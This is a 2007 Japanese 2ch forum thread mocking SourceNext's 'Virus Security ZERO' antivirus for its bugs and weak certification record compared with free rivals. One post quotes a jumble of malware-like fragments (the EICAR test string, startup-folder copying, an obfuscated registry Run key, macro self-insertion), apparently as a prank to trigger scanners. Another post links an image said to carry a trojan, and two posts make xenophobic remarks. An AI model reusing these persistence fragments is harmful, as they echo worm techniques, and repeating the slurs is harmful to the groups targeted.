778 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 21:43:24 ] これってどんな画像ですか?グロ? enjoi.blogdns.net/up/src/572.jpg
779 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 22:27:59 ] 438 :ひよこ名無しさん:2007/07/16(月) 10:55:18 ID:hSnbVgYB ?2BP(3344) >>435 Avast! にてトロイの木馬を発見。 ビューワで開くとブラクラのようです。 PC有害
780 名前:名無しさん@お腹いっぱい。 [2007/07/18(水) 04:15:22 ] Gatewayと富士通の2台のPCにSpybotをインスコしてたがSpybotのアップデート したらどちらのPCも システム防御が 危険 無効になりアンインスコして再インスコしたら 今度は、CPUが100%のまま 以前もSpybot使うと同じ様な問題があった。
781 名前:名無しさん@お腹いっぱい。 [2007/07/18(水) 15:50:15 ] Checkmark Anti-Virus Level 1を獲得しましたが何か?
782 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 16:13:04 ] >>781 くそ社員お疲れ。 >>602 はいつ直すの? >>626 はいつ直すの?。 いつまで不良品を売れば気が済むの?。
783 名前:名無しさん@お腹いっぱい。 [2007/07/18(水) 16:16:11 ] 2007年7月18日ニュース→「ウイルスセキュリティ」世界的な認証システム「Checkmark Anti-Virus Disinfection」を取得 ttp://www.sourcenext.info/sp/
784 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 16:32:22 ] >>783 少しは、良くなるのか?
785 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 16:42:48 ] Trojanはまだかよw それより早く不具合を修正しろ
786 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 17:10:07 ] >>781 level2も獲ってから言えよ
787 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 19:34:38 ] ワイルドリストをサンプル掲載1ヶ月以内に検出できかつすべて駆除できた製品が CHECKMARK Anti-Virus Level 2 www.westcoastlabs.org/cm-av-list.asp?Cat_ID=2 ↑有名なやつは合格しているけど、ウイルスセキュリティ=K7 はまだ不合格だね 「駆除は十分ではありません」って表示したほうがいいよ
788 名前:名無しさん@お腹いっぱい。 [2007/07/18(水) 19:53:35 ] ソースネクスト株式会社から発売中の「ウイルスセキュリティ ZERO」(税込 3,970 円)をはじめとする「ウイルスセキュリティ」シリーズ(英語名:「K7 Total Security 2006」) が2007 年7月10日(火)、 英国の独立系セキュリティ製品テスト機関West Coast Labsが認定する情報セキュリティ製品の世界的な認証システムの1つである「Checkmark」のうち、 「Checkmark Anti-Virus Disinfection」(旧名称:Checkmark Anti−Virus Level2)認証を取得いたしました。 ttp://www.sourcenext.info/sp/press/070718_vszerocheckmark%20disinfection.html 「Checkmark Anti-Virus Disinfection」(旧名称:Checkmark Anti−Virus Level2)認証を取得いたしました。 「Checkmark Anti-Virus Disinfection」(旧名称:Checkmark Anti−Virus Level2)認証を取得いたしました。 「Checkmark Anti-Virus Disinfection」(旧名称:Checkmark Anti−Virus Level2)認証を取得いたしました。
789 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 19:59:50 ] >>788 Trojanはまだかよw それより早く不具合を修正しろ ぶち切れてねえでさっさと獲得しろよボケ
790 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 20:08:47 ] K7が認証を取得したのか、よかったね ウイルスセキュリティも早く取れるといいね
791 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 20:14:54 ] これでマイクロソフト認定取れるか見ものだけど 2007年になって認証を取得なんて 主要ベンダーに比べて5年以上遅れているね 主要ベンダーはパターンファイルに引っかからない部分 ヒューリスティックの精度を進めているから 相対的に見るとウイルスセキュリティはまだゲロゲロだね
792 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 20:21:01 ] >K7 Total Security 2006 インドは世界と1年時間が遅れてるんですか?
793 名前:名無しさん@お腹いっぱい。 [2007/07/18(水) 21:34:00 ] インド人ビックリ
794 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 21:47:20 ] ttp://www.westcoastlabs.com/checkmark/productList/checkmarkTestResult/?productID=237&techGroupID=30&from=v 確かに取れてるね、おめ
795 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 21:49:47 ] >>788 VB100% 獲ってから言えよ!
796 名前:名無しさん@お腹いっぱい。 mailto:age [2007/07/18(水) 22:13:13 ] そういえばNOD32とか、きちんと取れている製品も色々とあるよね。 好きな製品を使えばいいと思うけどさ。
797 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 22:20:41 ] >>795 CheckMarkが取れないのにVB100%が取れるわけがない VB100はCheckMarkのテストに加えダミーサンプルまで混ぜてあるからな
798 名前:名無しさん@お腹いっぱい。 [2007/07/18(水) 22:22:11 ] >>796 オレはVSも取れることを信じている。
799 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 22:23:57 ] Level2は4月に取得予定と雑誌記事で公言してた気がするけど。 なんかね、適当な謳い文句で先に資金を集めてから開発強化しているみたいな体制だね。 やっとこさ有料ベータ版って感じ。
800 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 22:25:19 ] NODの方の天才エンジニアをヘッドハンティングで引き抜いてくれないかな…
801 名前:名無しさん@お腹いっぱい。 [2007/07/18(水) 22:29:37 ] >>800 それが早道かもな 俺はこれからもVSを応援しているぜ
802 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 22:31:19 ] >>798 2017年ごろではジャマイカ
803 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 22:39:15 ] >>799 というかK7がワイルドリストは常に監視している、とインタビューに答えていたので 検出できなかったらもう終わりだと思う
804 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 22:53:23 ] >>800 本当に来てくれたら嬉しいな‥。 VSの性能が飛躍的に上がるだろうね。 まじで引き抜きを狙って欲しい。
805 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 23:02:07 ] 性能以前に不具合なおせ CD,DVDの読み込みが遅くて不自由だ
806 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 23:17:42 ] FF11でエラーが出てゲームが出来ません 1ヶ月も放置か
807 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 23:24:30 ] ttp://www.amazon.co.jp/gp/bestsellers/software/1040116/ キラーにしとけって
808 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/18(水) 23:58:23 ] キラーも不具合だらけ 誰が選ぶか
809 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 00:19:59 ] Tpe-coffeeshopが。 このウィルスセキュリティをアップデートすると、PCが感染してしまうのですが・・・オレだけでしょうか? (別のソフトで発見)
810 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 00:21:18 ] へっ!? 喋るの?
811 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 01:34:07 ] ttp://www.mick3.com/kumo/2007/05/post_293.html
812 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 01:35:57 ] ttp://plaza.rakuten.co.jp/thinkyoulasend/
813 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 03:57:17 ] 他と比較したけど全然負けてるよ↓ Anti-Malware www.westcoastlabs.com/checkmark/vendorList/?techGroupID=26 Anti-Trojan www.westcoastlabs.com/checkmark/vendorList/?techGroupID=31 K7 Total Security 2006 (Virus Security) www.westcoastlabs.com/checkmark/productList/?vendorID=64 他のベンダー www.westcoastlabs.com/checkmark/search/
814 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 10:19:12 ] ダンボール肉まんはテレビ局のやらせ か・・・ ダンボールセキュリティゼロもやら・・・ これはやらせじゃないな
815 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 10:25:24 ] 探したよな〜 昨日…おとといからだっけ? すげぇ探してたんだよな〜
816 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 16:13:02 ] ★KINGSOFT完全勝利のお知らせ★ インターフェイス上に広告が表示されることによりキングソフトが完全無料化されました キラーもZEROも完全に死んだな download.kingsoft.jp/kisfree/
817 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 16:35:05 ] 洒落にならねぇぞ。 まぁ、スパムメール機能は微妙にソースの方が上だけど、キングが其処を改善したら、ソースオワタになるな
818 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 16:38:58 ] ガチでやばいかもなw 検出力でもキングに負けてるしZEROを使う理由が一切なくなる・・・・
819 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 17:42:25 ] 中国発が唯一の不安…と思ったがその辺りはソースも変わらないか。 キラーにも負けてるし、何かアクションを起こしてくるんじゃない。
820 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 17:49:18 ] 一番被害者の人はキング買った人あるよ
821 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 17:51:05 ] 普通フリーって言ったら何かしら機能が制限されてるけどまったく同じとなw 完全にZERO死亡じゃないかw ZEROも無料化すれよw
822 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 18:49:21 ] 無料化しても勝てる要素が無い・・・
823 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 18:49:56 ] 汗だく?ねぇ、汁だく?
824 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 18:50:50 ] . .: : : : : : : : :: :::: :: :: : ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: . . : : : :: : : :: : ::: :: : :::: :: ::: ::: :::::::::::::::::::::::::::::::::::::: . . .... ..: : :: :: ::: :::::: :::::::::::: : ::::::::::::::::::::::::::::::::::::::::::::: Λ_Λ . . . .: : : ::: : :: ::::::::: ::::::::::::::::::::::::::::: /:彡ミ゛ヽ;)ー、 . . .: : : :::::: ::::::::::::::::::::::::::::::::: ←ソースネクスト社長 / :::/:: ヽ、ヽ、 ::i . .:: :.: ::: . ::::::::::::::::::::::::::::::::::::::: / :::/;;: ヽ ヽ ::l . :. :. .:: : :: :: :::::::: : ::::::::::::::::::  ̄ ̄ ̄(_,ノ  ̄ ̄ ̄ヽ、_ノ ̄ ̄ ̄
825 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 19:01:52 ] 3垢パックかっちまった アクティブチンコが繋がらん FW切ればいける 無線へのルータへの管理者アクセスができない おわた
826 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 19:47:47 ] だからジョークソフトなのではジャマイカ
827 名前:あつし mailto:atsushi_k_0211@yahoo.co.jp [2007/07/19(木) 19:50:23 ] もっと手応えあるウイルスないかな〜
828 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 19:55:27 ] ∧__∧ ( ;^O^) 打ち水でこのスレを涼しくしてあげるだーよー / \ | l l | | | | _|。_.=゜。-. :゚ : ゜。 ヽ \_ .。'゚/ `。、`;゜ 。 。、`;゜ /\_ン∩ソ\ ゚。 。 ゜ `;゜ / /`ー'ー'\ \ 。 。”、` ; ゜ 〈 く / / 。、`゚ 。 ゜ 。;゜ \ L / /\ ゜ 。 。 ゜ 。 。、`、` 〉 ) ( く,_ \ ゜ 。 。 ゜ 。 。、`、 (_,ノ `ー' \゜ 。 。 ゜ 。 。、`、  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| "、` ; |゜ 。 。 ゜ 。 。、`、 |`;゜ 。 。 |"、` ;`;゜ 。 。 | わー涼しい わーいわーい | ∧_∧ ∧_∧ ∧_∧. | (´∀` ) ∧_∧ ( ´_ゝ`) 涼しいねぇ ( ・∀・) ∧_∧ ) (´∀` ) ( ) ( つ つ(∀` ) | ⊂ ∩ ) | | | 人 Y ( )__) ( ( ( (__)_) し'(_) | | | (_(_) (_(__)
829 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 20:26:21 ] Level2取得したぜひゃっほ〜って浮かれてる時に、 キングが無料版を配布 ソースのLevel2取得なんてネタは吹っ飛んだよ 狙ったわけではないにしても凄いタイミング
830 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 20:49:25 ] Gatewayと富士通の2台のPCにSpybotをインスコしてたがSpybotのアップデート したらどちらのPCも システム防御が 危険 無効になりアンインスコして再インスコしたら 今度は、CPUが100%のまま 以前もSpybot使うと同じ様な問題があった。 ↓ Spybotをアンインスコして再度ウイルスセキュリティZEROもアンインスコして インスコしても起動時にマイクロソフトのエラー報告で K7SysMon.exeのアプリケーションエラーが出る
831 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 21:17:12 ] キングソフト、ウイルス対策ソフトを無償提供・広告モデルで it.nikkei.co.jp/security/news/index.aspx?n=MMITca000019072007 広告モデルを採用した無料のセキュリティソフト登場 www.atmarkit.co.jp/news/200707/19/kingsoft.html キングソフトが無料のアンチウイルス製品を発表−業界初の「広告モデル」採用 enterprise.watch.impress.co.jp/cda/security/2007/07/19/10779.html 完全無料の総合セキュリティソフト キングソフト、広告モデルで www.itmedia.co.jp/news/articles/0707/19/news094.html キングソフト、「Internet Security」の広告付き無料版を提供開始 internet.watch.impress.co.jp/cda/news/2007/07/19/16388.html
832 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 21:54:55 ] でもキングが無料になってしまったら無料分はBCNランキングに載らなくなるから VSのシェアが減ったことが確認できなくて困るんだが
833 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 22:04:09 ] いや、 売り上げが無くなってサービスが維持できなくなる に一票!
834 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 22:09:37 ] 無料になっても特亜のセキュリティ・ソフトなんて危なくて使えない。
835 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 22:11:13 ] やっぱりウイルスを見つけたときにも「安心してください」って出ると安心感があるよね。 がっちり守られてるなって感じがする。
836 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 22:11:25 ] このスレでそんなことよく言えるなw
837 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 22:14:56 ] 見つけられないウイルスについては何も言わないからな。
838 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 22:16:42 ] そりゃ他のソフトだってそうだ。
839 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 22:27:23 ] その見つけられない率が圧倒的に高いから、ウイルスセキュリティは
840 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 22:29:16 ] しょっちゅう安心してくださいって出ても迷惑じゃない。
841 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 22:36:33 ] ソースだけは止めてくれ
842 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 22:37:25 ] ノートン(笑)
843 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 22:41:29 ] 大丈夫、七月中旬だから。
844 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 22:44:54 ] 「金山毒覇」という名前が気に入らない
845 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 22:51:04 ] おまえらセキュリティーの通ぶってるだけで、ジャパネットもみたことないの?
846 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 23:03:19 ] TV離れって知らないの?
847 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 23:06:09 ] 部屋を明るくして離れて見ろってやつだろ?
848 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 23:09:20 ] 部屋を暗くして拡げて見るものだろ
849 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 23:31:27 ] >>835 システムに関するドライバを誤検出で削除しても「安心してください」だからな…
850 名前:名無しさん@お腹いっぱい。 [2007/07/19(木) 23:32:40 ] >>849 安心すりゃいいじゃん。
851 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 23:34:39 ] >>849 多い日も安心w
852 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 23:36:00 ] 在日企業にこれだけ汚染されていてもみんな安心して生活しているじゃん。 憎いし苦痛。
853 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/19(木) 23:38:50 ] いやいや〜ご盛んでよろしいな
854 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 02:31:36 ] avast + Adawareの方がましっつことでご異存ありませんか?
855 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 02:39:41 ] ソースでなければいいよ。
856 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 06:07:44 ] 9.4.0061
857 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 07:17:32 ] くそ・・・1週間前にZERO買った俺涙目
858 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 11:32:37 ] 夏休みなのに水着のサイトへいけないだろ
859 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 11:36:53 ] キングが無料版をだしたよ ウイルスセキュリティソフトを入れてない奴は 無料キングを入れてみろよ
860 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 12:09:36 ] ウイルスセキュリティを買う理由が消滅した 完全敗北だろこれ
861 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 12:13:14 ] 発売時からゲロゲロだろ はじめから敗北すんなよ
862 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 12:37:33 ] 小林さんが気の毒じゃないか
863 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 12:41:20 ] こ れ か ら の 常 識 キ ン グ ソ フ ト の 場 合 初期費用 0円 更新不要 Windows Vistaを使い続ける限り使えます ────────────────────────────→ 2007 20XX ウ イ ル ス キ ラ ー の 場 合 初期費用 3940円 ┌┐ ││ ││ 更新不要。三台までインストール可能です ││ Windows Vista Business、Enterpriseなら2017年まで ││ HomeBasic、HomePremium、Ultimateなら2012年まで使えます ┴┴────────────────────────────→ 2007 2012 *ウイルスセキュリティZEROはこれより30円高い上に一台までしかインストールできません
864 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 12:56:12 ] ‖ ___ ‖ / `ヽ‖ ,:' 、ゑ ,' ; i 八、 |,! 、 ,! | ,' ,〃ヽ!;、 |!| l川 l リへ'==二二ト、 リ川 !| i′ ゙、 ', ', lルl ||,レ′ ヽ ,ノ ,〉 |川'、 ,,.,.r'" ,,ン゙ `T" ! ,/ '.ノ,/| / ,!´ !゙ヾ{ | / ,' i ゙ ! ,l゙ ,r‐'ヽ-、! ', l| { `ヽ ! 「゙フ ,>┬―/ ; i,`{ / /リ川' ', ゙、 / ,/ ゙、 ゙、 ノ / ', `、 \_/ ; ゙、ヽ、 l__ ! ___〕 ,、l  ̄`‐┬―r┬‐r'´ `'‐'′ | .! | | | | .| | | j | ! | Y ,) ! 〈 / | ! / '、 /ー' `''"
865 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 12:57:49 ] つpc11.2ch.net/test/read.cgi/software/1168736760/l50x
866 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 13:52:11 ] お前スゲーな!! 新発見じゃん!!
867 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 13:54:09 ] こんだけ安いんだから、政府とか公立の学校とかは全部これにしちゃえばいいじゃん。
868 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 14:58:19 ] 9.4.0062
869 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 16:01:34 ] >>867 日本を潰す気か?
870 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 16:28:16 ] ソースネクスト株式会社から発売中の「ウイルスセキュリティ ZERO」(税込 3,970 円)を はじめとする「ウイルスセキュリティ」シリーズ(英語名:「K7 Total Security 2006」) が 2007 年7月10日(火)、英国の独立系セキュリティ製品テスト機関West Coast Labsが認定する 情報セキュリティ製品の世界的な認証システムの1つである「Checkmark」のうち、 「Checkmark Anti-Virus Disinfection」(旧名称:Checkmark Anti−Virus Level2)認証を取得いたしました。 すごいだろー
871 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 17:22:47 ] いくら検出率上がっても不具合多すぎでPCに負担かけるソフトなんか使いたくない
872 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 17:28:58 ] ミートですが
873 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 17:51:54 ] 無料で使えてLevel1もLevel2も取得しているキングの方がどう考えてもすごい ちなみにK7はTrojanを取得できてません、ゴミですね
874 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 18:13:10 ] フリー大人気らしいね
875 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 18:16:40 ] >>870 VB100% 獲ってから言えよ!
876 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 18:24:17 ] フリー最高!!
877 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 18:54:23 ] キラーもクズだがVSもクズ 認証取得のために不具合増やすのは本末転倒だ
878 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 19:16:24 ] フリーが大好物です!
879 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 19:33:17 ] >>870 ttp://www.the-hikaku.com/security/hikaku.html 今頃になってかよ ついにPS3手にれたぜひゃっほ〜みたいな?
880 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 19:50:47 ] >>879 やっとCheckmarkは獲れたのはいいが まだVB100%獲ってないのVSだけじゃないか!
881 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 20:32:39 ] 水着のサイトにいけないのではジャマイカ
882 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 20:51:53 ] 2chゲリオン発進!!
883 名前:名無しさん@お腹いっぱい。 [2007/07/20(金) 22:10:48 ] 「ウイルスセキュリティ」のご愛用者がおかげさまで380万人を突破しました。(2007.7.11)
884 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 22:53:50 ] キングのフリーが出たからこのスレでお終いだな
885 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 23:10:42 ] スレは終わらないだろうが社員や信者は惨めだなw
886 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/20(金) 23:16:44 ] フリーが大好物です!
887 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/21(土) 18:02:05 ] ・キングソフト、ウイルス対策ソフトを無償提供・広告モデルで it.nikkei.co.jp/security/news/index.aspx?n=MMITca000019072007 ・広告モデルを採用した無料のセキュリティソフト登場 www.atmarkit.co.jp/news/200707/19/kingsoft.html ・キングソフトが無料のアンチウイルス製品を発表−業界初の「広告モデル」採用 enterprise.watch.impress.co.jp/cda/security/2007/07/19/10779.html ・完全無料の総合セキュリティソフト キングソフト、広告モデルで www.itmedia.co.jp/news/articles/0707/19/news094.html ・キングソフト、「Internet Security」の広告付き無料版を提供開始 internet.watch.impress.co.jp/cda/news/2007/07/19/16388.html ・キングソフト、広告付きで完全無料のセキュリティソフト pc.watch.impress.co.jp/docs/2007/0719/king.htm ・キングソフト、完全無料のセキュリティソフトを提供開始 www.nikkeibp.co.jp/news/it07q3/540102/ ・キングソフト、広告表示で無料利用できる総合セキュリティソフトを提供 japan.cnet.com/news/tech/story/0,2000056025,20353104,00.htm ZERO死亡確定wwwwwwwwww
888 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/21(土) 18:27:31 ] 緊急対策会議中じゃね?w
889 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/21(土) 18:59:54 ] 7 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/21(土) 02:34:47 1000で終わりだと思ってたおこちゃまは、次ぎスレできて顔面蒼白ですww 8 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/21(土) 02:39:13 お子ちゃまは どさくさにまぎれて 寝ました。 9 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/21(土) 02:40:23 まあ2時半まで起きてておこちゃまにしては大健闘だなww とりあえずテンプレにでもするか キングユーザーは夜更かし厳禁! 2時半まで起きてたら大健闘!
890 名前:名無しさん@お腹いっぱい。 [2007/07/21(土) 19:47:45 ] 晒しage
891 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/22(日) 03:08:56 ] 259 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/21(土) 13:56:15 Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1))) X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\" ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1) "avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash" G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR")) If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) kak\ \';\ken=\wd+'\START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" 260 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/21(土) 16:48:23 ん?誤爆? 261 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/21(土) 16:49:13 >259 がっ 262 名前:名無しさん@お腹いっぱい。[] 投稿日:2007/07/22(日) 00:41:10 >>259 英雄 263 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/22(日) 00:54:25 >>259 =>>262
892 名前:名無しさん@お腹いっぱい。 [2007/07/22(日) 20:11:25 ] 「Checkmark Anti-Virus Disinfection」 (旧名称:Checkmark Anti−Virus Level2)認証を取得しましたが何か?
893 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/22(日) 20:23:29 ] Trojanが取れてないのに失笑。 いつになったら取れるんだ?
894 名前:名無しさん@お腹いっぱい。 [2007/07/22(日) 20:35:00 ] 検出率 avast>>>>>>>>>>>壁>>>>>>>>>>>>ウイルスセキュリティ(ウイルススルーしまくりw) 軽さ avast>>>>>>>>>>壁>>>>>>>>>>>>ウイルスセキュリティ(PC破壊するゴミ) 使いやすさ avast>>>>>>>>>>壁>>>>>>>>>>>>ウイルスセキュリティ(誰がこんなの使うの?w) 性能 avast>>>>>>>>>>壁>>>>>>>>>>>>ウイルスセキュリティ(客を馬鹿にしてんの?w) 全てにおいてにavastに負けてるウイルスセキュリティ(笑)
895 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/22(日) 21:23:49 ] >>894 tmp6.2ch.net/test/read.cgi/tubo/1176131495/791-793
896 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/22(日) 23:44:56 ] やっぱりイキそうになったら、一回止めたほうがいいな。
897 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 00:42:11 ] 無線LAN絡みの相性が相変わらず最悪なのは何とかしてくれ 特にブリッジ接続が絡むとかなり危険
898 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 00:50:27 ] アンチウイルスはK7が作ってるけどPFWはソースが作ってるらしいからね MSのエラーを見る限りそんな書き方だけど
899 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 01:46:03 ] なんかもう、初心者の間にも駄目ソフトだって知れ渡ってるっぽいね。 パソコンも何もしらないおっさんにこれを薦めたらふざけんなって言われたよw
900 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 01:56:10 ] ネットに繋がらなくなるのはまだマシで、 W-LANのドライバインストールでブルースクリーンとか良くあります。 サポートからは、アンインストールしてから、ネット上の最新版でインストールし直してください 以上の返答は帰ってこない。
901 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 02:37:14 ] CD-ROM直るのまだー?
902 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 12:09:32 ] >>898 カーネルドライバの名前がK7*.sysで?
903 名前:名無しさん@お腹いっぱい。 [2007/07/23(月) 13:35:12 ] 「Checkmark Anti-Virus Disinfection」 (旧名称:Checkmark Anti−Virus Level2)認証を取得しましたが何か?
904 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 13:56:25 ] >>898 ソースにPFWを開発できる技術力があるとは思えんのだが・・・ タイピング練習ソフトの延長で出来るようなシロモノじゃないだろ
905 名前:名無しさん@お腹いっぱい。 [2007/07/23(月) 16:33:56 ] 消費者保護センターとか国民生活センターは何故動かないのか? PCソフトはバグが付き物と軽くみてるのか?
906 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 18:34:19 ] 「ジョークソフト」として申請したのでは邪魔イカ
907 名前:名無しさん@お腹いっぱい。 [2007/07/23(月) 19:14:56 ] 被害ユーザも⇔金額的に少ないし被害項目も曖昧てか立証が面倒⇔保護セン国民セン しかも、 糞の割に安くはないが他より幾分安い 全然使い物にならんという訳ではない (PCにセキュリテイ以外のデメリットは多いがセキュリティに関しては セキュリテイソフトを何も入れてないよりマシ)
908 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 21:25:45 ] https://www.sourcenext.com/faq/action/faqdetails?kind=technical&no=VS-00662&sugtype=0&logid=32260567 おまいらこれを読んでよく考えろ。 悪いのはおまいらのパソコンの方らしいぞ
909 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/23(月) 21:47:19 ] 選挙近いからでしょ
